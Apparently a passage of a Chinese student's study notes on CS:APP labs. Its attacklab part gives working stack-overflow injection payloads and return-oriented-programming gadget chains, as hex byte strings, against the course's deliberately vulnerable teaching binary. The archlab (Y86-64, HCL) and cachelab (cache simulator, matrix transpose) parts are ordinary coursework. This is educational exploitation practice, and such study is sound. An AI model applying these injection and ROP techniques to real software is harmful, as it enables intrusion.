retq第一行传值，传的值 cookie 为 0x59b997fa ，第二行将调用 touch2 的地址压入栈，这样第三行返回时，就可以调用 touch2 了，注意题目规定不能用 jmp 的；
将注入代码保存为 code.s 文件，参考文档，使用 gcc -c code.s 编译，再用 objdump -d code.o > code.d 反汇编就能得到十六进制表示的机器代码了，将这段代码通过 getbuf 放入栈中（首地址在栈顶，可以通过 gdb 打个断点，打印 %rsp 的值就是栈顶了），再和第一题一样填充到40字节，结尾加上注入代码的地址就是答案了：
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
51 51 51
51 51 51 51 51
51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
78 dc 61 55 00 00 00 00第三题
第三题也是注入代码，将 cookie 的字符串的地址传入函数，注入代码和第二题类似，但是注意因为第三题中，后续操作会将 buf 栈中的 40 个字节覆盖了，所以不能将字符串存储中这里，改为存储在调用函数前的栈中，通过打断点得到其栈顶地址是 0x5561dca0 。所以应该把字符串存入的地址设为 0x5561dca8 ，这个地址在输入的 16 进制中就紧跟着跳转的地址。
注入的代码（已经反编译了）：
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq 再和上题类似填充至 40 字节，附上跳转地址。再将 cookie 转化为 16 进制的字符串附到跳转地址后面，根据 ASCII 码，这里的 cookie 值 0x59b997fa 就是 35 39 62 39 39 37 66 61 00 这里末尾加 00 ，我不知道是什么意思，不过看很多人都加了，我也跟风。。经验证，加不加对结果无影响。因而最终答案是：
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00Part2
四、五题是 Return-Oriented Programming ，这两题更难，因为引入了栈随机化和限制了可执行代码区域：
- It uses randomization so that the stack positions differ from one run to another. This makes it impos-
sible to determine where your injected code will be located.
- It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault.
栈随机化使得栈上的地址不确定，无法直接跳转到栈上的指定地址；可执行代码区域是限制的，使得注入栈上的代码无法执行。 所以这里要引入新的攻击方式，就是 ROP 攻击，ROP 的具体讲解可以参考指导文档，ROP 的攻击思路就是，寻找、利用函数自带的一些 gadgets ，使之构成一个攻击链，这样利用程序自身的函数片段，就能绕过新的安全限制。
第四题
这题要求在新的保护下重复第二题的结果，将 cookie 值传入 %rdi ，这里和第二题一样使得栈溢出，然后将返回地址设为 gadgets 攻击链的起始地址。攻击链可以这样构造，观察代码发现：
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq查阅文档， 58 90 即是 popq %rax ，90 是 nop ，可以直接忽视，这段代码地址是 0x4019ab ，它将栈上的值存入了寄存器，接着发现：
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3查阅文档， 48 89 c7 就是 movq %rax,%rdi ，就将栈上的值存入了 %rdi ，因此将 cookie 值存入栈中，就可以传值，这段代码地址是 0x4019a2 。
因此输入字符串先是一段填充的 40 字节，然后是跳转地址，设为 pop 的地址 0x4019ab ，接着存入 cookie 值（就是将要 pop 的那个值，注意应存入 64 位值），然后是 mov 的地址 0x4019a2 ，最后跳转到 touch2 ，这样一个完整的 ROP 攻击链就形成了，一个可行的答案就是：
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00第五题
与上题类似，要求重复第三题的结果，要求将 cookie 字符串的地址存入 %rdx ，考虑到栈随机化，无法直接得到地址。注意到这里 48 89 e0 90 是 movq %rsp,%rax ，将栈顶的地址存在了 %rax ，可以利用这一点来传地址。
0000000000401aab <setval_350>:
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq由上题我们可以实现 movq %rax,%rdi ，是不是直接将传入的字符串存到栈顶，再将栈顶地址存入 %rdi 就做完了？这里要注意，如果直接将字符串存到栈顶， 48 89 e0 90 c3 在返回时会跳转到栈顶，字符串就成要运行的指令了，就会发生错误。
这里考虑将栈顶地址加值传入，使得要传入的字符串与栈顶拉开距离，不被执行。（我开始试图用官方文档给的参考指令给 %eax 做加法，但很复杂还不一定能成，我把它附在了最后面[1]，有闲情再看吧T_T）这里的加法用到了一个文档里没有的指令：
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq04 37 是 add $0x37,%al ，可以表示将传入的字符串存在距离栈顶 0x37 （55）字节处。
由上，可以构造这样一个攻击链：
先填充 40 字节破坏栈，紧接着是 movq %rsp,%rax，将下一个栈顶位置存入 %rax ，代码位置是 0x401aad；接着 add $0x37,%al ，给 %rax 加值 0x37 ，这段代码位置是 0x4019d8 ；然后将 %rax 值传入函数的参数 %rdi ，代码位置由上题是 0x4019a2 ，然后跳转到 touch3 函数，地址是 0x4018fa ；最后存入字符串，并在其前面填充字节使其地址与保存的栈顶地址相差 55 个字节，共要填充 (55-3×8)=31 个字节，所以答案可以是：
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
51 51 51 51 51 51 51 51 51 51
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
31 31 31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31 31 31
31 31 31 31 31 31 31 31 31 31
31
35 39 62 39 39 37 66 61 00小结
这次 lab 较简单，涉及了栈随机化，ROP 攻击等内容，通过这个 lab ，我对汇编、栈都有了更深的了解，这篇文章给了所有题目的解答，但是，这里有一个问题：使用这些解答存在出现 Type string:Ouch!: You caused a segmentation fault! 的可能，原因未知，此篇解答与参考资料里的解答也能对应上，所以我想出现这个问题可能是机器的原因吧？
[1]附：一种复杂可能错误的加法
加法可以用以下方法得到：
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq给 %rdi 赋值可以从 %eax 传入，%rsi 赋值可以按以下方法：
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq将 %eax 值传给了 %edx
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq将 %edx 值传给了 %ecx ，这里 38 c9 是 cmpb %cl,%cl 不影响值。
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 再将 %ecx 传给 %esi ，以上步骤就完成了从 %eax 传值到 %esi 。
00000000004019d0 <mid_farm>:
4019d0: b8 01 00 00 00 mov $0x1,%eax
4019d5: c3 retq由上可以将 0x1 赋值给 %eax ，再赋值给 %edx，将栈顶传给 %eax ，再赋值给 %esi ，这里有个问题就是以上都是对三十二位操作。。
archlab
Architecture Lab (Y86-64) 笔记
这个 lab 涉及了 Y86-64 的实现。题目难度不大，做题的主要困难在实验环境安装和测试，做之前要仔细阅读文档。
首先建立实验环境，解压 sim 包，这里是所使用的工具，需要 make ，刚开始我总是出错，后来从网上找到如下解决方法：
修改Makefile文件（ sim 目录下），注释掉（因为 ubuntu 没有安装相关库，这样模拟器就不支持 GUI 界面了）：
#GUIMODE=-DHAS_GUI
#TKLIBS=-L/usr/lib -ltk -ltcl
#TKINC=-isystem /usr/include然后
unix> make clean;make如果仍出错，可能是没装相关的依赖软件，安装 flex 和 bison 试试。
这次 lab 分了三个部分： Part A 、B 、C
Part A 要求将 C 代码翻译成 Y86-64 ，Part B 要求实现 SEQ 命令，这两部分都为 Part C 做铺垫，Part C 要求修改 PIPE 和 Y86-64 实现程序的优化。
参考资料： Seterplus/CSAPP CSAPP：Architecture Lab - IT閱讀 csapp archlab 模拟器安装 深入理解计算机系统：体系结构实验
Part A
要求将 C 代码翻译成 Y86-64，工作目录在 ../sim/misc 中，第一题题解在 sum.ys 中，是 Y86-64 形式的汇编代码，使用 make sum.yo 或 ./yas sum.ys 编译，使用 ./yis sum.yo 查看模拟器运行结果。
第一题
第一题要求写个计算链表和的函数，给了该函数的 C 代码。
可以考虑将题目的 C 代码用 gcc 和 objdump 翻译成汇编代码，然后再将汇编翻译成 Y86-64 ；这里程序较简单，可以直接写出代码。
下面详细讲解第一题的题解。（这份题解参考了不少资料）
首先是指令的开头：
# Execution begins at address 0
.pos 0
irmovq stack, %rsp
# Set up stack pointer设置栈指针，栈的位置在最后一行设置了：
# Stack starts here and grows to lower addresses
.pos 0x200
stack:然后调用 main ，结束：
call main
# Execute main program
halt
# Terminate program这是整个代码的框架；
# Sample linked list
.align 8
ele1:
.quad 0x00a
.quad ele2
ele2:
.quad 0x0b0
.quad ele3
ele3:
.quad 0xc00
.quad 0上面定义了链表，并赋了初值；
main:
irmovq ele1,%rdi # 传参数值
call sumlist # 调用函数
ret这是 main 的定义，其中调用了 sumlist 函数，该函数定义为如下：
sumlist:
xorq %rax,%rax # 设置 sum 初值为 0，long val = 0
# sum = 0
andq %rdi , %rdi # 判断 ls （就是链表指针，最初为传入值，链表的首地址）是否为 0
je end # ls 为 0 时直接返回
loop: mrmovq (%rdi) , %rcx # 循环： 保存 ls->val
addq %rcx , %rax # 给 sum 累加值,就是 val += ls->val
irmovq $8 , %rbx # 保存 8
addq %rbx , %rdi # 链表指针加 8 ，就是 &(ls->next)
mrmovq (%rdi), %rdi # ls=ls->next
andq %rdi , %rdi # 判断 ls 是否为 0
jne loop # ls 不为 0 时循环
end:
ret # 返回可以看到题解就是直接翻译了 C 代码，运行测试，模拟器得到了结果：
Stopped in 31 steps at PC = 0x13. Status 'HLT', CC Z=1 S=0 O=0
Changes to registers:
%rax: 0x0000000000000000 0x0000000000000cba
%rcx: 0x0000000000000000 0x0000000000000c00
%rbx: 0x0000000000000000 0x0000000000000008
%rsp: 0x0000000000000000 0x0000000000000200
Changes to memory:
0x01f0: 0x0000000000000000 0x000000000000005b
0x01f8: 0x0000000000000000 0x0000000000000013第二题
这题要求实现第一题的递归版本，题解在 rsum.ys 中，同样直接翻译 C 代码，但是要实现递归时一定要注意分清哪些变量应该是 调用者保存的 ！
下面是递归版本的 rsumlist 函数的实现：
rsumlist:
pushq %rcx # val： 是调用者保存的寄存器
andq %rdi , %rdi # 判断条件
je end # 直接返回
mrmovq (%rdi) , %rcx # ls->val
irmovq $8 , %rbx
addq %rbx , %rdi
mrmovq (%rdi), %rdi # ls->next
call rsumlist # 递归
addq %rcx , %rax # return val+rest;
end:
popq %rcx
ret测试得到 sum 和第一题相同。
第三题
实现一个将源数组（src）复制到目标数组（dest）的函数，并计算原数组中所有项的异或（Xor）值，这题的题解保存在 copy_block.ys 中，和前两题一样，直接翻译原函数。 这里调用函数时要分别传入三个值，实现 main 如下：
main:
irmovq src , %rdi
irmovq dest , %rsi
irmovq $3 , %rdx
call copyblock
ret调用的函数实现如下：
copyblock:
xorq %rax , %rax # long result = 0;
loop: # 循环
andq %rdx , %rdx # len
jle end # 判断 len 是否 > 0
mrmovq (%rdi) , %rcx # long val = *src;
irmovq $8 , %rbx
addq %rbx , %rdi # src++;
rmmovq %rcx , (%rsi) # *dest = val;
addq %rbx , %rsi # dest++;
xorq %rcx , %rax # result ˆ= val;
irmovq $1 , %rbx
subq %rbx , %rdx # len--;
jmp loop
end:
ret测试得到结果：
Stopped in 45 steps at PC = 0x13. Status 'HLT', CC Z=1 S=0 O=0
Changes to registers:
%rax: 0x0000000000000000 0x0000000000000cba
%rcx: 0x0000000000000000 0x0000000000000c00
%rbx: 0x0000000000000000 0x0000000000000001
%rsp: 0x0000000000000000 0x0000000000000200
%rsi: 0x0000000000000000 0x0000000000000048
%rdi: 0x0000000000000000 0x0000000000000030
Changes to memory:
0x0030: 0x0000000000000111 0x000000000000000a
0x0038: 0x0000000000000222 0x00000000000000b0
0x0040: 0x0000000000000333 0x0000000000000c00
0x01f0: 0x0000000000000000 0x000000000000006f
0x01f8: 0x0000000000000000 0x0000000000000013Part B
工作目录在 sim/seq 中，要求将 SEQ 扩展以支持 iaddq 指令(该指令在书上家庭作业的 4.51 和 4.52 说明了，第二版书在 4.48 和 4.50 上，我这里的文档只要求实现 iaddq ，参考资料里是二版的题，还实现了 leave 指令），该指令要求一步实现将常数值添加到目的寄存器。做法就是修改目录下的 seq-full.hcl ，它实现了一个和书上一样的 SEQ 。
参考书上 OP1 和 mrmovl 的实现，可以写出 iaddq 的实现步骤如下：
iaddq A , rB
icode:ifun <-- M1[PC] # 取指
rA:rB <-- M1[PC+1]
valC <-- M8[PC+2]
valP <-- PC+10
valB <-- R[rB] # 译码
valE <-- valB + valC # 执行
R[rB] <-- valE # 写回
PC <-- valP # 更新 PC然后根据实现修改 hcl 代码：
# 取指
# 指令是否有效？
bool instr_valid = icode in
{ INOP, IHALT, IRRMOVQ, IIRMOVQ, IRMMOVQ, IMRMOVQ, IOPQ, IJXX, ICALL, IRET, IPUSHQ, IPOPQ,IIADDQ };
# Does fetched instruction require a regid byte?
bool need_regids =
icode in { IRRMOVQ, IOPQ, IPUSHQ, IPOPQ, IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ };
# Does fetched instruction require a constant word?
bool need_valC =
icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL, IIADDQ };
# 译码和写回，指定读入和写入
## What register should be used as the B source?
word srcB = [
icode in { IOPQ, IRMMOVQ, IMRMOVQ ，IIADDQ } : rB;
icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP;
1 : RNONE; # Don't need register
];
## What register should be used as the E destination?
word dstE = [
icode in { IRRMOVQ } && Cnd : rB;
icode in { IIRMOVQ, IOPQ，IIADDQ } : rB;
icode in { IPUSHQ, IPOPQ, ICALL, IRET } : RRSP;
1 : RNONE; # Don't write any register
];
# 执行
## Select input A to ALU
word aluA = [
icode in { IRRMOVQ, IOPQ } : valA;
icode in { IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ } : valC;
icode in { ICALL, IPUSHQ } : -8;
icode in { IRET, IPOPQ } : 8;
# Other instructions don't need ALU
];
## Select input B to ALU
word aluB = [
icode in { IRMMOVQ, IMRMOVQ, IOPQ, ICALL, IPUSHQ, IRET, IPOPQ, IIADDQ } : valB;
icode in { IRRMOVQ, IIRMOVQ } : 0;
# Other instructions don't need ALU
];
## Should the condition codes be updated?
bool set_cc = icode in { IOPQ, IIADDQ };完成后 make ，注意如果无法使用 gui 界面修改 Makefile ，注释掉相关内容，使用官方文档所给的命令 unix> ./ssim -t ../y86-code/asumi.yo 在命令行下测试得到 ISA Check Succeeds ，再用 unix> (cd ../y86-code; make testssim) 和 unix> (cd ../ptest; make SIM=../seq/ssim) 测试均成功。
Part C
这部分工作目录在 sim/pipe 下，题目给定了 ncopy 函数的 C 代码，这个函数和 Part A 的第三题差不多，将 src 数组复制到 dest 数组，并返回数组中的正数的总数。题目还给定了这个函数的 Y86-64 代码，并在文件 pipe-full.hcl 中实现了一个包含 IIADDQ 常量的 PIPE 。题目要求修改 ncopy.ys和 pipe-full.hcl ，使得 ncopy.ys 运行得尽可能快。
这题的测试命令比较多，按需要参考官方文档：
使用 unix> make VERSION=full 重建测试环境；
然后使用 unix> ./psim -t sdriver.yo 和 unix> ./psim -t ldriver.yo 在命令行下模拟运行和测试 PIPE 是否正确，同时得到 CPI ；
使用 unix> ./correctness.pl 测试 ncopy.ys 代码是否正确；
使用 unix> ./benchmark.pl 自动测试得到平均 CPE 。
最初用给定的代码测试得到 CPI ( cycles per instruction ) 为 1.14 ，平均 CPE 约为 15.18 。这里要拿满分平均 CPE 应在 7.5 以下。
首先和 Part B 一样实现 iaddq 指令，此时平均 CPE 降为 13.70 ，将减法改为 iaddq 得到 CPE 为 12.70 由于 iaddq 会更新状态码，可以利用它减少一个比较指令，得到 CPE 为 11.70 。
考虑将循环展开，这里展开八次，CPE 降为 8.81（这里有个问题，使用 %r15 寄存器会出现错误，不知道什么原因），最终优化的函数保存在 ncopy.ys 中，通过了所有的测试，得分为 33.9/60.0 。得分有点低，说明还有很大的优化空间，进一步优化的尝试参见附[1]。
小结
这个 lab 难度不大，但是上手不易，开始看到文档内容那么多，一度想放弃。上手要看懂文档，准备好安装环境，还要熟悉很多测试命令，可以参考他人经验快速上手。熟悉后，题目和之前几个 lab 相比就简单多了，这里难题主要在 Part C ，Part C 还很开放，要得高分不容易，还很耗时间。 通过这个 lab ，可以熟悉 Y86-64 指令集，对 SEQ 和 PIPE 的实现方式也能有更深的理解。
附：
[1]可以很容易看出，循环展开之后的余项可能有八位之多，对性能造成了较大的影响，可以进一步将余项循环展开四次。这里我写了一个四次展开的版本，保存在 4ncopy.ys 中，也保存了一份八次展开的版本在 8ncopy.ys 中，这两个版本都通过了测试，将八次展开和四次展开综合起来，就得到一个优化版本，保存在 mncopy.ys 中，但是这个版本只能部分通过测试，这个 bug 太玄学了。。经过近两小时的挣扎，我最终放弃治疗，有时间再看吧。
cachelab
Cache Lab 笔记
这个 lab 分为 Part A 和 Part B ，Part A 要求根据 traces 目录下的 trace 文件，写一个模拟缓存的程序，仅需要修改 csim.c ；Part B 要求优化矩阵转置函数，减少缓存不命中数，仅需修改 trans.c，具体要求认真阅读文档。 参考资料： 马天猫的CS学习之旅 blocking
Part A
在 csim.c 中写个缓存模拟器，要求没有警告和错误，实现和参考的模拟器一样的功能，实现 Usage: ./csim [-hv] -s <num> -E <num> -b <num> -t <file> 。这里的 -t 的参数是 trace 文件，trace 文件包含四种与缓存相关的操作， “I” 是一个指令加载，不会访问模拟的缓存， “L” 是一个数据加载，会访问一次缓存， “S” 是数据存储，和加载一样会访问一次缓存， “M” 是数据修改，相当于一次加载和一次缓存，也就是相当于两次加载。因而可以通过实现加载函数来处理这些操作。
可以使用一个结构数组 cache[] 来表示缓存，包含 s 个组，每组 E 行，结构数组的每一项都包含一个 tag ，一个有效位和一个访问计数。首先可以使用 getopt 函数实现命令行参数的处理，具体 man 3 getopt ,然后读取 trace 文件，通过 fgets 函数读取每一行，分析出每一行的操作，保存每行的 address 和 size 两个数值，根据 address 和 size 得到偏置位 offset 和 组号 setindex, 标记位 tag，然后按照操作类型调用 Load() 函数。
Load 函数根据所得到组号 setindex , 标记位 tag, 与 cache 数组中的块比较，如果存在该 tag 块就 hit ，如果不命中就 miss ，然后在 cache 数组中添加该 tag ；如果 cache 行满了，就选择一行置换，这里要求使用 LRU (least-recently used) 置换方法。
这里还实现了 -h 和 -v 参数，和参考的模拟器有点不同，但不影响结果，代码如下：
#include "cachelab.h"
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* 用宏表示的数组的索引，m 行 n 列 */
#define IDX(m, n, E) m *E + n
#define MAXSIZE 30
char input[MAXSIZE]; /* 保存每行的字符串 */
int hit_count = 0, miss_count = 0, eviction_count = 0;
int debug = 0; /* 参数 v 的标记*/
/* 一个缓存行的结构 */
struct sCache {
int vaild; /* 有效位 */
int tag; /* 标记位 */
int count; /* 最近访问的计数 */
};
typedef struct sCache Cache;
/* Cache last_eviction; */
/* 将 16 进制转为 10 进制数 */
int hextodec(char c);
/* 反转二进制的 b 位，可以不需要 */
/* int converse(int n, int b); */
/* 缓存加载 */
void Load(int count, unsigned int setindex, unsigned int tag,
unsigned int offset, unsigned int size, double s_pow, unsigned int E,
double b_pow, Cache *cache);
int main(int argc, char *argv[]) {
const char *str = "Usage: ./csim [-hv] -s <num> -E <num> -b <num> -t "
"<file>\nOptions:\n -h Print this help message.\n -v "
"Optional verbose flag.\n -s <num> Number of set index "
"bits.\n -E <num> Number of lines per set.\n -b <num> "
"Number of block offset bits.\n -t <file> Trace file.\n\n"
"Examples :\n linux> ./csim -s 4 -E 1 -b 4 -t "
"traces/yi.trace\n linux> ./csim -v -s 8 -E 2 "
"-b 4 -t traces/yi.trace\n ";
int opt = 0; /* 保存参数 */
unsigned int s = 0, E = 0, b = 0; /* 组的位数 每组行数 和 块数目的位数 */
double s_pow = 0, b_pow = 0; /* 组数 块数 */
char *t = ""; /* trace 文件 */
/*last_eviction.offset = 0;
last_eviction.tag = -1;
last_eviction.count = 0;*/
/* getopt: 每次检查一个命令行参数 */
while ((opt = getopt(argc, argv, "hvs:E:-b:-t:")) != -1) {
switch (opt) {
case 's':
s = atoi(optarg);
s_pow = 1 << s; /* 组数 */
break;
case 'E':
E = atoi(optarg); /* 每组行数 */
break;
case 'b':
b = atoi(optarg);
b_pow = 1 << b; /* 每行块数 */
break;
case 't':
t = optarg; /* trace 文件 */
break;
case 'v':
debug = 1; /* v 标记 */
break;
case 'h':
printf("%s", str); /* help 信息 */
return 0;
break;
default: /* '?' */
fprintf(stderr, "Usage: %s [-hv] -s <num> -E <num> -b <num> -t <file>\n",
argv[0]);
exit(EXIT_FAILURE);
}
}
Cache *cache = (Cache *)malloc(16 * s_pow * E); /* 表示缓存的结构数组 */
/* bug:
Cache *cache = (Cache *)malloc(sizeof(Cache) * s * E); */
for (int i = 0; i < s_pow * E; i++) { /* 初始化 */
cache[i].vaild = 0;
cache[i].tag = 0;
cache[i].count = 0;
}
FILE *fp = fopen(t, "r"); /* 打开 trace 文件 */
int count = 0; /* 可以当作时间的计数，用于每次访问缓存时更新缓存行的计数 */
/* 分析 trace 文件的每一行 */
while (fgets(input, MAXSIZE, fp)) {
int op = 0; /* 需要访问缓存的次数 */
unsigned int offset = 0, tag = 0,
setindex = 0; /* 缓存行的块索引，tag 标记，组号 */
char c;
int cflag = 0; /* 是否有逗号的标记 */
unsigned int address = 0, size = 0; /* 访问缓存的地址和大小 */
count++; /* 计数 */
for (int i = 0; (c = input[i]) && (c != '\n'); i++) {
if (c == ' ') { /* 跳过空格 */
continue;
} else if (c == 'I') {
op = 0; /* I 时不访问缓存 */
} else if (c == 'L') {
op = 1; /* L 时访问缓存一次 */
} else if (c == 'S') {
op = 1; /* S 时访问缓存一次 */
} else if (c == 'M') {
op = 2; /* M 时访问缓存两次 */
} else if (c == ',') {
cflag = 1; /* 有逗号 */
} else {
if (cflag) { /* 是否有逗号？ */
size = hextodec(c); /* 有逗号时接下来的字符为 size */
} else {
address =
16 * address + hextodec(c); /* 无逗号时接下来的字符为 address */
}
}
}
/* 从 address 取出 offset */
for (int i = 0; i < b; i++) {
offset = offset * 2 + address % 2;
address >>= 1;
}
/* offset = converse(offset, b); */
/* 从 address 取出 setindex */
for (int i = 0; i < s; i++) {
setindex = setindex * 2 + address % 2;
address >>= 1;
}
// setindex = converse(setindex, s);
/* 从 address 取出 tag */
tag = address;
/* 根据次数访问缓存 */
if (debug && op != 0) {
printf("\n%s", input);
}
if (op == 1) {
Load(count, setindex, tag, offset, size, s_pow, E, b_pow, cache);
}
/* 为 M 时访问两次缓存，第一次调用加载函数，第二次直接 hit */
if (op == 2) {
Load(count, setindex, tag, offset, size, s_pow, E, b_pow, cache);
hit_count++;
if (debug) {
printf(" hit");
}
}
/*
if (debug) {
printf("%d %d %d\n", tag, setindex, offset);
}
*/
}
free(cache);
fclose(fp);
// optind 记录处理的参数总数
if (optind > argc) {
fprintf(stderr, "Expected argument after options\n");
exit(EXIT_FAILURE);
}
if (debug) {
printf("\n");
}
printSummary(hit_count, miss_count, eviction_count);
return 0;
}
/* 将 16 进制转为 10 进制数 */
int hextodec(char c) {
if (c >= '0' && c <= '9') {
return c - '0';
}
if (c >= 'A' && c <= 'F') {
return c - 'A' + 10;
}
if (c >= 'a' && c <= 'f') {
return c - 'a' + 10;
}
return 0;
}
/* 反转二进制的 b 位，可以不需要
int converse(int n, int b) {
int res = 0;
while (b--) {
res = res * 2 + n % 2;
n >>= 1;
}
return res;
}
*/
/* 缓存加载 */
void Load(int count, unsigned int setindex, unsigned int tag,
unsigned int offset, unsigned int size, double s_pow, unsigned int E,
double b_pow, Cache *cache) {
/* 根据所得到组号 set , 标记位 tag, 与 cache 数组中的 tag 比较，如果存在该 tag
* 的缓存行就 hit */
for (int i = 0; i < E; i++) {
if (cache[IDX(setindex, i, E)].vaild &&
tag == cache[IDX(setindex, i, E)].tag) {
/* bug:
// cache[IDX(setindex, i, E)].count = 1;
// cache[IDX(setindex, i, E)].count = 1;
// if (tag == last_eviction.tag) {
// cache[IDX(setindex, i, E)].count = last_eviction.count + count;
//} else {*/
cache[IDX(setindex, i, E)].count = count;
//}
hit_count++;
if (debug) {
printf(" hit");
}
return;
}
}
/* 缓存不命中 选择一个空闲的缓存行保存 tag */
miss_count++;
if (debug) {
printf(" miss");
}
for (int i = 0; i < E; i++) {
if (!cache[IDX(setindex, i, E)].vaild) {
cache[IDX(setindex, i, E)].tag = tag;
cache[IDX(setindex, i, E)].count = count;
cache[IDX(setindex, i, E)].vaild = 1;
return;
}
}
/* 缓存行已满，应淘汰一行，这里要求使用 LRU 算法，通过循环找出最早访问的那块*/
int mix_index = 0, mix_count = 1000000000;
for (int i = 0; i < E; i++) {
if (cache[IDX(setindex, i, E)].count < mix_count) {
mix_count = cache[IDX(setindex, i, E)].count;
mix_index = i;
}
}
eviction_count++;
if (debug) {
printf(" eviction");
}
/*last_eviction.offset = cache[IDX(setindex, mix_index, E)].valid;
last_eviction.tag = cache[IDX(setindex, mix_index, E)].tag;
last_eviction.count = cache[IDX(setindex, mix_index, E)].count;*/
cache[IDX(setindex, mix_index, E)].tag = tag;
cache[IDX(setindex, mix_index, E)].count = count;
cache[IDX(setindex, mix_index, E)].vaild = 1;
return;
}使用 unix> make && ./test-csim 或 unix> make && ./driver.py 测试得到 Part A 27分满分，测试全部通过。（但这里有一个问题，如果访问缓存的地址超出了缓存行的范围怎么办，这个 lab 不做要求）
Part B
Part B 要求优化矩阵转置函数，减少缓存 miss 情况，将 miss 数降至可得分的值，仅需修改 trans.c 。所给的 Cache 包含 32 组，每组 1 行，每行 32 块，共 1024 字节。需要安装 valgrind 工具，使用 unix> make && ./test-trans 或 unix> make && ./driver.py 测试，这里将使用如下三个矩阵作为测试得分点：
- 32 × 32: 得满分要求 miss < 300
- 64 × 64: 得满分要求 miss < 1300
- 61 × 67: 得满分要求 miss < 2000
做法采用分块的方法，参见网络旁注 blocking ，通过分块可以提高时间局部性和空间局部性。 对于 32×32 的矩阵，直接分块 8×8 ，注意对角线上的块 A、B 缓存时会发生冲突。在分块内进行转置。对于 61×67 的不规则的矩阵，由于对 miss 要求不高，尝试分块 16×16 可以得到满分。对于 64×64 的矩阵，分块 4×4 ，miss 降到 1699 ，未能达到满分，正在做。代码如下：
void transpose_submit(int M, int N, int A[N][M], int B[M][N]) {
int i, j, ii, jj, a1, a2, a3, a4, a5, a6, a7, a0;
if (M == 32) {
for (i = 0; i < N; i += 8) {
for (j = 0; j < M; j += 8) {
for (ii = i; ii < i + 8; ii++) {
jj = j;
a0 = A[ii][jj];
a1 = A[ii][jj + 1];
a2 = A[ii][jj + 2];
a3 = A[ii][jj + 3];
a4 = A[ii][jj + 4];
a5 = A[ii][jj + 5];
a6 = A[ii][jj + 6];
a7 = A[ii][jj + 7];
B[jj][ii] = a0;
B[jj + 1][ii] = a1;
B[jj + 2][ii] = a2;
B[jj + 3][ii] = a3;
B[jj + 4][ii] = a4;
B[jj + 5][ii] = a5;
B[jj + 6][ii] = a6;
B[jj + 7][ii] = a7;
}
}
}
} else if (M == 64) {
for (i = 0; i < N; i += 4) {
for (j = 0; j < M; j += 4) {
for (ii = i; ii < i + 4; ii++) {
jj = j;
a0 = A[ii][jj];
a1 = A[ii][jj + 1];
a2 = A[ii][jj + 2];
a3 = A[ii][jj + 3];
B[jj][ii] = a0;
B[jj + 1][ii] = a1;
B[jj + 2][ii] = a2;
B[jj + 3][ii] = a3;
}
}
}
} else {
for (i = 0; i < N; i += 16) {
for (j = 0; j < M; j += 16) {
for (ii = i; ii < i + 16 && ii < N; ii++) {
for (jj = j; jj < j + 16 && jj < M; jj++) {
a0 = A[ii][jj];
B[jj][ii] = a0;
}
}
}
}
}
}